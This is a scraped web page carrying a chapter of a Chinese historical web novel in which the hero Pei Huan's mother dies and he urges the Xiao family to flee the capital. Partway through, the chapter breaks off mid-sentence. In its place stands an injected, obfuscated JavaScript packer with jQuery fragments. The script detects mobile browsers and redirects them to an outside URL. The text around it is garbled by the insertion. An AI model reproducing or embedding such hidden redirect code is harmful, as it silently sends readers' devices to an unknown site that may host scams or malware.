文趣网 > 都市小说 > 错算 > 19. 江河日下
    李齐被流放,萧家众人也算松了口气。只有裴桓,一直盯着朱圭。朱圭遭贬,做了裴桓手下的小将领,风光不再。李齐势力瓦解,裴桓找了借口,令朱圭身首异处。

    德胜那边,王、段两位将军同晋国征战不断,迟迟无法攻破。梁帝却命吴越王攻打淮南,二者各有胜败,只得讲和。这段时日,裴桓一直在后方保障,无暇顾及李齐一方之事。哪成想,他攀上了驸马赵岩,得其援救,回京做了太子少保。

    “这世道真是变了。流放之人回京做太子少保,怎么看都是攀上了。真不是从前的日子了。恶事做尽之人,竟没有恶报。”萧顷气得摔了杯子,也只能在自家屋里悄声愤恨。

    纵使萧家气愤,却只是敢怒不敢言。当前的这位君主虽勇猛,却是个昏庸的。裴桓战后听说此事,并有探子报来的赵岩援手之事,才渐渐有了眉目。

    “我就知道,不止李齐一个。还有,赵岩。”裴桓握紧了杯子,手用力太过,开始发抖。“若有赵岩,那张德妃胞兄张汉杰,其弟张汉鼎也跑不了。陛下宠幸他们,此事,会不会是陛下授意?”

    想得越深,越不敢再往下想。从前只知这里不是长久之地,却不知这背后许许多多的环节。或者,培养自己的势力,起兵反叛?那汴京的亲人必受牵连。沈家又是张德妃的势力,若成了亲,又免不了站队。此时两国讲和,裴桓没什么任务,也该请旨回去。若能将他们救出来,想必也有可行之机。

    大军很快班师回朝。回到萧家,萧顷嘱咐了几句,还没等说明李齐之事原委,就急匆匆地让他去裴母处。

    裴母病得越来越重,已到无法进食的地步,只是偶尔能清醒过来。平日里,裴母院子里大夫不断,汤药不停,萧夫人,临钰也时常看望照顾。如今,裴桓回来,大家都为裴桓让出时间陪伴。

    没几日,裴母起来吩咐了身后之事,又坐在院子里愣神。裴桓上朝回来,看见母亲在躺椅上坐着吃茶。

    “母亲,你怎么起来了?”

    “桓儿,来,坐下。陪母亲说说话。”

    裴桓找了一把椅子,看着母亲慢慢坐下,腿软得不像在自己身上,手也感到一阵凉意,却被裴母递来的茶捂热。

    “桓儿。我知道你近日辛苦了。为了裴家的事,为了萧家的事。”

    “不辛苦。只要能看着你们平安喜乐,儿子不觉辛苦。”他看着母亲,眼里藏着不舍,半分不肯移开。

    “可是桓儿。你父亲一辈子,没想让你有什么多大的功劳,就希望你能平安,快乐。我也是一样。你父亲比起看着你为他报仇,更愿意看你这一生能快活。桓儿,裴家的仇已经了结了。你不必背负着石头过生活,去找你更喜欢的路吧。”

    “母亲。害我们家破人亡的人,他们本就该死,他们合该付出同等的代价。”

    “乱世之中,保得了今日,算不过明日。一个毁了家园,一个败了全族。难道这就是亲人想要的结果吗?”裴母轻轻握住裴桓的手,却像一层纱盖着,裴桓忙反握住。“杀戮之事,无穷尽也。我与你父亲都希望你们保住自己,保住为我们出身入死的将士,保住裴家的根基,就是最好的了。再这样下去,后果不可估量!”

    裴母说得急了,咳起来,“你……你知道了吗?”

    “我知道,我知道。”裴桓扶着她躺在躺椅上,“我会保全自己,我一定也会保全那些将士们。”

    “好,好。”裴母方气顺了些,“若是能够,你将我葬在滑州一座高山上,你父亲最喜到高山上去。另外,你若愿意,出去另寻一番天地吧,寻自己想做的事,守护自己想守护的人。哪个国家都撑不住。大梁是,吴越、晋国也是。”

    “是,母亲。我知道了,您好生歇着,莫要再急着乱了气。”

    “母亲知道,你不愿娶亲,是知道自己在沙场征战,命都悬着,不愿自己的妻子同我一般守寡。你也是怕,常年在外做了尽职的将军,就做不了尽责的丈夫。这些,我都理解。我没有什么盼着你一定要传宗接代,一定要用结亲来攀什么高枝,铺什么仕途。母亲只希望,你能做出无愧于心的抉择,希望你的抉择能让你心甘情愿,永不后悔。”

    “母亲。我会的。我答应您。”裴桓眼里的泪快要控制不住,嘴角还强撑着挤出笑。

    “不要哭,要笑。我们河东裴氏,向来勇猛、果敢,从不怨天尤人,从不懦弱畏缩。你也是,我们裴家最好的孩子。”

    裴桓再也说不出一个字,这一味地点头。他馋着裴母进了屋躺下,又被母亲催着出去,说是要静下来睡一会儿。

    “我这一辈子,最后的时光,看了院子里的柳树,又有桂花扑鼻的香。长眠于安稳的日子里,将军,我可同你好好炫耀一番。”

    心声透过纸糊的窗,随着微风吹向升起的月亮。星汉灿烂,围着明月守住这个故事,伴着月光,洒向众生。

    裴桓夜间来看母亲,却只见母亲睡着,床边跪了随侍的妈妈。母亲安眠于此,裴桓跪下叩头,却掩不住颤抖的手,模糊的眼睛。临钰在门外亦跪着,远远为姨母送行。

    良久,裴桓才走出来。他看见临钰跪在门外,将她拉起来,“你来了多久?”

    “没有多久。我不敢打扰你,就在这里等着。”临钰小心说着,“若你不便,我可告知祖父祖母,操办事宜。”

    “没什么不便的。总会都知道的,我去说。”

    “好。”临钰跟在裴桓身后慢慢走。

    走了一段路,裴桓在前面传出一阵声音,“我是不是都错了?这么久,没让母亲过上舒心的日子。她爱热闹,却安静地卧床这么久,没有孙子承欢膝下,也没有儿子床前尽孝。而我,我杀了那么多人,手上沾满鲜血,我要报仇,最后却发现只是以卵击石。”

    “你不在时,我常来陪姨母。姨母爱的,是她的儿子,是她的郎君,是你们这样真切存在的人。姨母同我说过,她希望你一切都能遵从自己的心,希望你立于天地间,能畅快一生,不为世事所累。我想,你做到了。”

    裴桓低下头,没有回答。

    “你没有错。人生浮沉,变化万千,你做了心中最好的决定,姨母会为你骄傲的。”

    裴桓停下来,说了句,“谢谢你,临钰。”便径直走进主屋。

    萧夫人听闻消息,站起来直奔裴母院子,她姐姐没了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797522|210549||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,如今唯一的外甥女又这样郁郁而终。她趴在床边,才没了儿子,接着外甥女又这样没了,她斥责命运弄人,上天不公。

    好不容易将萧夫人带着回了屋。裴桓将母亲临终前的遗愿告知萧顷。

    “这倒不是难事。以你的能力,足以去滑州。我也会向陛下请旨,你母亲的身份不可深究,请不了封,只请这一点,陛下会放你出去。”

    “多谢外祖姨夫。母亲不在乎这些,只想同父亲葬得近一些。”

    “既如此,那萧府办了丧事,你就去吧。萧府还要出一份,为你母亲尽些心意。”

    “是,多谢外祖姨夫。”

    丧仪办得热闹,是裴母喜欢的样子。裴桓处理了丧事,连夜启程前往滑州下葬。

    因带着棺椁,车马走得慢。一路上,裴桓想了很多母亲临终前嘱咐他的话。如今,陛下并未对他有所怀疑,若想离开这里,抛下的是萧家、将士,若留下,这里又太荒唐。

    适逢惠王朱友能起兵叛乱,陛下派了张汉杰,王彦章,霍彦威等将领去平叛。惠王也失败了,可见反叛不易。虽日子不长,传在裴桓心中又是一阵无能的低垂。

    事毕,裴桓快马加鞭回了汴京,同萧顷、萧夫人谈了很久。裴桓想带着萧家上下远离汴京,远离大梁,寻一处桃花源安居。有这一身上下的本领,定然能护住平安。

    “萧家世世代代都献给朝廷了。如今,我同你外祖姨母年事已高,出走又定是要躲避、颠簸。经不起这样的折腾了”萧顷说着,“只有小辈们或许可以。可萧家要立足,临帆走不了,当然他若答应你,我就算拼了命,也会把你们送出去。至于临钗,临钰,你要看他们自己的心思。若她们愿意,这婚也可退得。”

    而临帆拒绝了裴桓,是因为不能看着萧家因自己出走而陷入危难。“若我走了,萧家没有后备之人,难道往后只能做任人宰割的鱼肉?女儿家们或许能同你走,但我不行。即便祖父同意,我也不能走。我走了,萧家无人承继,陛下定会怀疑,追杀、流放、抄家,旨意降下便是灭顶之灾。所以男丁必须留下,若要走,让女儿家们跟着你。我绝不阻拦。”

    临钗也没答应,她同王家即将成亲,家中父亲也留在这里。大梁地界是他们找的栖息地,也只能停在这里。没人愿意离开,萧家的齐心可见,可裴桓却急得左右踱步。临钗告诉裴桓,或许可以问一问临钰,若真像裴桓所说如此危险,那萧家愿意走的,自然能走便走。

    裴桓抱着最后残存的念头走进藏书阁。临钰还是一如从前的安静模样。裴桓记得她从前也爱热闹,自从见她在院子角落后,也渐渐开始喜欢安静。此时,临钰还在灵台上观星。从一侧看去,临钰一个人,单薄的身体,立于广袤的星汉之下,不免让人心疼。

    裴桓走过去,拉起临钰便向外走去。为方便观星,藏书阁上面没点灯,临钰没看清眼前之人,只觉得力气太大,想挣脱却挣脱不开。

    终于,在楼下微弱的烛光里,临钰才看清眼前之人的背影。眼前人,高大,肩膀宽得完全能盖住临钰的身影。眼前人再熟悉不过,临钰一下便认得出来。

    “表哥?你怎么了?”